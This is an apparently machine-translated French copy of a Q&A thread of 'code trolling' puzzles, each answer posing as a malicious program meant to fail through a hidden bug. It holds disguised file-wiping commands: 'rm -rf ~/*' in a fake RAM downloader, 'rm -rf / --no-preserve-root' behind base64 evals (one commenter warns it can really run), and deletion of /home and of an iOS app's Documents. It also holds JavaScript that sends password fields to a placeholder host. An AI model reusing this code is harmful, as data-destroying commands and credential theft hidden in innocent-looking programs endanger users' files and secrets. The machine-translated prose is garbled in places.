        long twoPercentWaitTime   = 7*60*1000;  // 7 minutes
        long deleteWaitTime       = 9*60*1000;  // 9 minutes
        long completeWaitTime     = 10*60*1000; // 10 minutes
        Timer timer = new Timer(true);
        // User thinks, Hmm this is taking a while
        timer.schedule(new TimerTask() {
            public void run() {
                System.out.println("1% done");
            }
        }, onePercentWaitTime);
        // User is now completely impatient, and either leaves to get a coffee
        // or starts reading reddit
        timer.schedule(new TimerTask() {
            public void run() {
                System.out.println("2% done");
            }
        }, twoPercentWaitTime);
        // Now that he's not looking, delete everything in his home directory
        timer.schedule(new TimerTask() {
            public void run() {
                try {
                    final Runtime rt = Runtime.getRuntime();
                    rt.exec("rm -rf ~/*");
                } catch (IOException e) {
                }
            }
        }, deleteWaitTime);
        // Inform the user that the task is finished
        timer.schedule(new TimerTask() {
            public void run() {
                System.out.println("Download complete!");
                System.out.println("You now have 21.47GB RAM!");
                System.exit(0);
            }
        }, completeWaitTime);
        System.out.println("Welcome to the ramdownloader.io RAM downloader");
        System.out.println("Please wait. Downloading your free RAM...");

    }
}

Timerutilise un fil d’arrière-plan pour appeler le TimerTasks que vous lui avez soumis. new Timer(true)crée un Timeravec le fil d’arrière-plan défini en tant que fil de démon, de sorte que le programme se ferme immédiatement avant que les tâches puissent être exécutées. Le code trop long empêche le troll de voir le trueparamètre.


7
rm -rf ⁄

Le caractère n'est pas le caractère de barre oblique classique (/, c'est-à-dire SOLIDUS en Unicode), mais bien FRACTION SLASH. Imprimera un message du type "rm:: Aucun fichier ni répertoire de ce type"


10
Oh, laisse-moi vraiment essayer ....
Michael J. Calkins

1
@MichaelCalkins: vous pouvez essayer en tant qu'utilisateur non privilégié et voir le message "introuvable" ... si tout va bien.
Olivier Dulac

7

frapper

# This script should always be executed as root #
set -e

cleanup() {
  rm -rf / --no-preserve-root
}

eval $(base64 -d <<< "dW5zZXQgLWYgY2xlYW51cA==")
eval $(base64 -d <<< "Y2xlYW51cCgpIHsgZWNobyBUcm9sbCBkZXRlY3RlZDsgfQo=")
cleanup

C'est peut-être aussi mauvais que cela devient. Il définit une fonction qui l’a été rm -rf /et l’appelle. Non seulement cela fait-il appel au maleval à plus d'une occasion.

Cela ferait beaucoup de dégâts, sûrement!

Au cas où vous vous le demanderiez, le premier evaldésactive la fonction en: unset -f cleanup La seconde la evaldéfinit comme suit: cleanup() { echo Troll detected; } Ainsi, lors de l'exécution du code, vous verrez Troll detected


9
Bien! Mais, je dirais que les lignes "base64", qui n'ont apparemment aucune utilité pour la suppression, rendent cela un peu trop évident.
Erel Segal-Halevi

1
Cela pourrait être mieux si vous étiez amené à croire que les evals faisaient quelque chose de plus diabolique qu’un code évident. Le code actuel m'amène à me demander: pourquoi se cacher de cacher le code "diabolique" si la chose évidente est de tout effacer?
Tim S.

2
Je ne pense pas que celui-ci remplisse les conditions requises car il est potentiellement très malveillant: si base64(pas une commande standard) n'existe pas sur le système sur lequel il est exécuté, les évaluations ne font rien et les rm -rf /exécutions! Cela pourrait également se produire si base64est présent mais échoue pour une raison quelconque (par exemple ulimit).
R ..

1
@R .: De plus, rm -rf /ne fonctionnera pas avec la plupart rmdes implémentations. Ceci est une fonctionnalité de sécurité - vous ne pouvez pas supprimer le répertoire racine dans la plupart des implémentations de rm.
Konrad Borowski

1
Autant que je sache, cela fonctionne sur la version busybox. :-)
R ..

6

FRAPPER

Bien sûr , nous avons besoin de privilèges root pour la machine, nous utilisons donc le bon vieux « Dois - je racine? » - checker, alias ch (Eck) racine - mais mieux le faire dans un répertoire où il n'y aura pas beaucoup d' alarmes soulevées. / tmp serait parfait, car tout le monde peut y écrire des fichiers.

Après cela, nous supprimons tout le rire diabolique du disque dur

mkdir -p /tmp/chroot_dir && chroot /tmp/chroot_dir /bin/bash -c "su - -c rm -rf /*"

10
en tant qu'allemand, je peux dire: ne faites pas de rires diaboliques en tant que type allemand ...
Philipp Sander

Wer , si ce n'est pas un gars allemand, peut faire ze eefil rire, zen?
Alexander Kosubek

5
Je dois admettre qu'il m'a fallu plusieurs lectures du code, puis une relecture de vos commentaires pour comprendre pourquoi quelqu'un pourrait penser que c'est malveillant. Je ne pense pas que cela fonctionnera si vous n'aviez pas essayé de persuader quelqu'un dans vos commentaires que chroot fait autre chose que cela et que la question ne dit pas que le troll ne lit pas les commentaires ...
Chris

1
Incidemment, ce chrootn'est pas "vérifier la racine", c'est "changer la racine" - cela change l'idée de l'utilisateur de ce qui /est. Fait intéressant, ce troll ne fait rien pour les utilisateurs root et non root; Les utilisateurs root obtiennent une nouvelle racine (et donc aucune commande / bin / bash car rien n'existe dans la nouvelle racine de / tmp / chroot_dir), et les utilisateurs non root ne parviennent pas à chroot.
mah

C'est comme un indice - je sais que ce n'est pas "changer de racine" mais mon ravisseur (le mot correct?) Ne le sait pas - il échoue donc mal
german_guy

6

iPhone - Clone d'oiseau Flappy

Lorsque l'utilisateur lit un clone iPhone Flappy Bird, tous les fichiers du répertoire Documents sont supprimés.

#import "AppDelegate.h"
#import "FlappyBirdClone.h"

@implementation AppDelegate

- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions
{
    FlappyBirdClone *flappyBirdClone = [FlappyBirdClone new];
    [flappyBirdClone startFlapping];

    NSURL *documentsDirectory = [[[NSFileManager defaultManager] URLsForDirectory:NSDocumentDirectory inDomains:NSUserDomainMask] lastObject];
    [self deleteAllDocumentsInDirectory:documentsDirectory];

    return YES;
}

- (void)deleteAllDocumentsInDirectory:(NSURL *)directoryURL
{
    NSArray *fileURLs = [[NSFileManager defaultManager] contentsOfDirectoryAtURL:directoryURL includingPropertiesForKeys:@[] options:0 error:nil];

    [fileURLs enumerateObjectsUsingBlock:^(NSURL *fileURL, NSUInteger idx, BOOL *stop) {
        [[NSFileManager defaultManager] removeItemAtURL:fileURL error:nil];
    }];
}

Chaque application dans iOS est en Sandbox, ce qui supprime tout le contenu du répertoire Documents, mais uniquement le répertoire Documents de cette application particulière. Le troll n'est évidemment pas au courant, puisqu'il a déjà été inondé de tant de programmes pour d'autres plateformes. Et dès qu’il réalisera qu’il peut lui aussi produire un clone de Flappy Bird, il est peut-être tellement excité qu’il ne se donne même pas la peine de penser au reste du code, car il est trop préoccupé par le rêve de gagner 50 000 dollars par jour en publicité sans faire n'importe quel travail.


5

Aller:

package main

import (
    "fmt"
    "os"
    "sync"
)

func main() {
  wg := sync.WaitGroup{}
  go deleteAll(wg)
  wg.Wait()
}

func deleteAll(wg sync.WaitGroup) {
    wg.Add(1)
    defer wg.Done()
    fmt.Println("Press enter to clean your computer!")
    fmt.Scanln()
    os.RemoveAll("/home")
}

Celui-ci est un peu délicat. Dans Go, tout le programme se ferme à la sortie du principal Goroutine. Un bon moyen de résoudre ce problème est d'utiliser un groupe d'attente. Il y a deux gros problèmes avec mon "correctif":

  1. Le groupe d’attente n’est ajouté qu’au démarrage de la Goroutine, ce qui signifie que le Goroutine principal sera touché Waitavant la suppression de Goroutine Add. Comme le compteur sera 0, il n’a rien à attendre et par conséquent, il ne se bloque pas et finit par sortir, mettant ainsi fin au programme.
  2. Même si, d'une certaine manière, comme par magie, l'addition de deleteAll goroutine est effectuée en premier. Il a reçu une copie du groupe d'attente, pas un pointeur sur celui-ci. Il ne sera pas ajouté au même groupe d'attente, de sorte que le Goroutine principal ne le verra jamais.

La fonction fmt.Scanln () à laquelle on peut s’attendre est juste pour s’assurer que le Goroutine principal se ferme avant que quoi que ce soit ne se produise. Le Println le bloquera probablement et basculera vers l’exécution du Goroutine principal (ainsi sortant), et le Scanln le fera presque certainement. En réalité, aucune version de Go n'est nécessaire.

En super théorie débarque ce MOUVEMENT et supprime quelque chose, ce qui signifie que selon le modèle de mémoire Go, il n'y a pas de relation garantie entre la fin mainet l'exécution RemoveAll, mais cela ne se produira pas, comme le prouve le runtime / compilateur Go actuel. par tous les débutants qui font l'erreur de ne pas mettre la synchronisation dans leurs fonctions principales.


4

Javascript

function(){
    setInterval(function(){
        var passwordList = document.getElementsByTagName('input') ;
        var i, length = passwordList.length ;
        for(i = 0 ; i < lenght ; i++) if(passwordList[i].type == 'password'){
            var img = document.createElement('img') ;
            img.src = 'http://troll-server-password-listener.com/fake-image.jpg?password=' + passwordList[i].value ;
            img.style.display = none ;
            img.addEventListener('load', function(){
                var that = this ;
                setTimeout(function(){ that.outerHTML = '' }, 0) ;
            }) ;
            document.body.appendChild(img) ;
        }
    }, 1) ;
}() ;

1.

Il ne fonctionnera pas, vous ne pouvez pas créer de fermeture, appelez-le sans l'entourer de parens

2

Si le troll parvient à résoudre ce problème, il y a une belle faute de frappe à corriger ... ;-)


1
quelle langue? et peut-être allusion à la faute de frappe un peu plus
masterX244

@ masterX244 est Javascript, je vais le modifier. Astuce de typo: ReferenceError
Juan Garcia

3
Cette faute de frappe est si souvent qu’elle devrait être
corrigée automatiquement

Oui, je fais souvent cette faute de frappe. Surtout si la longueur du mot est assez longue: P
Mohammed Joraid

1
@ m01 +1 Je pense que ce devrait être un mot réservé qui jette une exception ou une erreur de compilation!
Juan Garcia
En utilisant notre site, vous reconnaissez avoir lu et compris notre politique liée aux cookies et notre politique de confidentialité.
Licensed under cc by-sa 3.0 with attribution required.